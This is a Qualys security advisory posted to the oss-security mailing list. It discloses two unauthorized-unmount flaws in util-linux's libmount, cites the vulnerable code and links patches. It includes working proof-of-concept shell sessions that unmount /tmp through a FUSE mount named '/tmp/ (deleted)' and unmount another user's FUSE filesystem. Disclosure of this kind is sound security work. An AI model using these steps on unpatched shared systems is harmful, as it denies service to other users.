Openwall
bringing security into
open environments

Products   Services   Publications   Resources   What's new

Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [day] [month] [year] [list]

Date: Mon, 24 Jan 2022 12:25:33 +0000
From: Qualys Security Advisory <qsa@...lys.com>
To: "oss-security@...ts.openwall.com" <oss-security@...ts.openwall.com>
Subject: CVE-2021-3996 and CVE-2021-3995 in util-linux's libmount

Hi all,

We discovered two vulnerabilities (unauthorized unmounts) in
util-linux's libmount, CVE-2021-3996 and CVE-2021-3995. Patches are now
available at (many thanks to Karel Zak, Red Hat Product Security, and
the members of linux-distros@...nwall):

https://github.com/util-linux/util-linux/commit/166e87368ae88bf31112a30e078cceae637f4cdb
https://github.com/util-linux/util-linux/commit/57202f5713afa2af20ffbb6ab5331481d0396f8d
https://github.com/util-linux/util-linux/commit/9c05f4b6bf62a20a64a8e5735c7f3dcf0229e895

https://github.com/util-linux/util-linux/commits/stable/v2.37
https://mirrors.edge.kernel.org/pub/linux/utils/util-linux/v2.37/

Below is a short write-up (which is part of a longer advisory that is
mostly unrelated to util-linux and that we will publish at a later
date):

==
CVE-2021-3996 and CVE-2021-3995 in util-linux's libmount
==

[...]

Consequently, we audited the SUID-root programs umount and fusermount
for ways to unmount a filesystem that does not belong to us, and we
discovered CVE-2021-3996 and CVE-2021-3995 in util-linux's libmount
(which is used internally by umount).

Note: CVE-2021-3996 and CVE-2021-3995 were both introduced by commit
5fea669 ("libmount: Support unmount FUSE mounts") in November 2018.

==
CVE-2021-3996: Unauthorized unmount in util-linux's libmount
==

In order for an unprivileged user to unmount a FUSE filesystem with
umount, this filesystem must a/ be listed in /proc/self/mountinfo, and
b/ be a FUSE filesystem (lines 466-470), and c/ belong to the current,
unprivileged user (lines 477-498):

----
 451 static int is_fuse_usermount(struct libmnt_context *cxt, int *errsv)
 452 {
 ...
 466   if (strcmp(type, "fuse") != 0 &&
 467   strcmp(type, "fuseblk") != 0 &&
 468   strncmp(type, "fuse.", 5) != 0 &&
 469   strncmp(type, "fuseblk.", 8) != 0)
 470   return 0;
 ...
 477   if (mnt_optstr_get_option(optstr, "user_id", &user_id, &sz) != 0)
 478   return 0;
 ...
 490   uid = getuid();
 ...
 497   snprintf(uidstr, sizeof(uidstr), "%lu", (unsigned long) uid);
 498   return strncmp(user_id, uidstr, sz) == 0;
 499 }

Unfortunately, when parsing /proc/self/mountinfo, the libmount blindly
removes any " (deleted)" suffix from the mountpoint pathnames (at lines
231-233):

----
 17 #define PATH_DELETED_SUFFIX   " (deleted)"
----
 179 static int mnt_parse_mountinfo_line(struct libmnt_fs *fs, const char *s)
 180 {
 ...
 223   /* (5) target */
 224   fs->target = unmangle(s, &s);
 ...
 231   p = (char *) endswith(fs->target, PATH_DELETED_SUFFIX);
 232   if (p && *p)
 233   *p = '\0';

This vulnerability allows an unprivileged user to unmount other users'
filesystems that are either world-writable themselves (like /tmp) or
mounted in a world-writable directory.

For example, on Fedora, /tmp is a tmpfs, so we can mount a basic FUSE
filesystem named "/tmp/ (deleted)" (with FUSE's "hello world" program,
./hello) and unmount /tmp itself (a denial of service):

$ id
uid=1000(john) gid=1000(john) groups=1000(john) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

$ grep /tmp /proc/self/mountinfo
84 87 0:34 / /tmp rw,nosuid,nodev shared:38 - tmpfs tmpfs rw,seclabel,size=2004304k,nr_inodes=409600,inode64

$ mkdir -m 0700 /tmp/" (deleted)"
$ ./hello /tmp/" (deleted)"

$ grep /tmp /proc/self/mountinfo
84 87 0:34 / /tmp rw,nosuid,nodev shared:38 - tmpfs tmpfs rw,seclabel,size=2004304k,nr_inodes=409600,inode64
620 84 0:46 / /tmp/\040(deleted) rw,nosuid,nodev,relatime shared:348 - fuse.hello hello rw,user_id=1000,group_id=1000

$ mount | grep /tmp
tmpfs on /tmp type tmpfs (rw,nosuid,nodev,seclabel,size=2004304k,nr_inodes=409600,inode64)
/home/john/hello on /tmp/ type fuse.hello (rw,nosuid,nodev,relatime,user_id=1000,group_id=1000)

$ umount -l /tmp/
$ grep /tmp /proc/self/mountinfo | wc
      0   0   0

==
CVE-2021-3995: Unauthorized unmount in util-linux's libmount
==

Alert readers may have spotted another vulnerability in
is_fuse_usermount(): at line 498, only the first "sz" characters of the
current user's uid are compared to the filesystem's "user_id" option (sz
is user_id's length). This second vulnerability allows an unprivileged
user to unmount the FUSE filesystems that belong to certain other users;
for example, if our own uid is 1000, then we can unmount the FUSE
filesystems of the users whose uid is 100, 10, or 1:

```
-----------------------------------------------------------------------
$ id
uid=1000(john) gid=1000(john) groups=1000(john) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

$ grep fuse /proc/self/mountinfo
38 23 0:32 / /sys/fs/fuse/connections rw,nosuid,nodev,noexec,relatime shared:18 - fusectl fusectl rw
620 87 0:46 / /mnt/bin rw,nosuid,nodev,relatime shared:348 - fuse.hello hello rw,user_id=1,group_id=1

$ umount -l /mnt/bin
$ grep fuse /proc/self/mountinfo
38 23 0:32 / /sys/fs/fuse/connections rw,nosuid,nodev,noexec,relatime shared:18 - fusectl fusectl rw
-----------------------------------------------------------------------
```

Thank you very much! We are at your disposal for questions, comments,
and further discussions.

With best regards,

--
the Qualys Security Advisory team

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.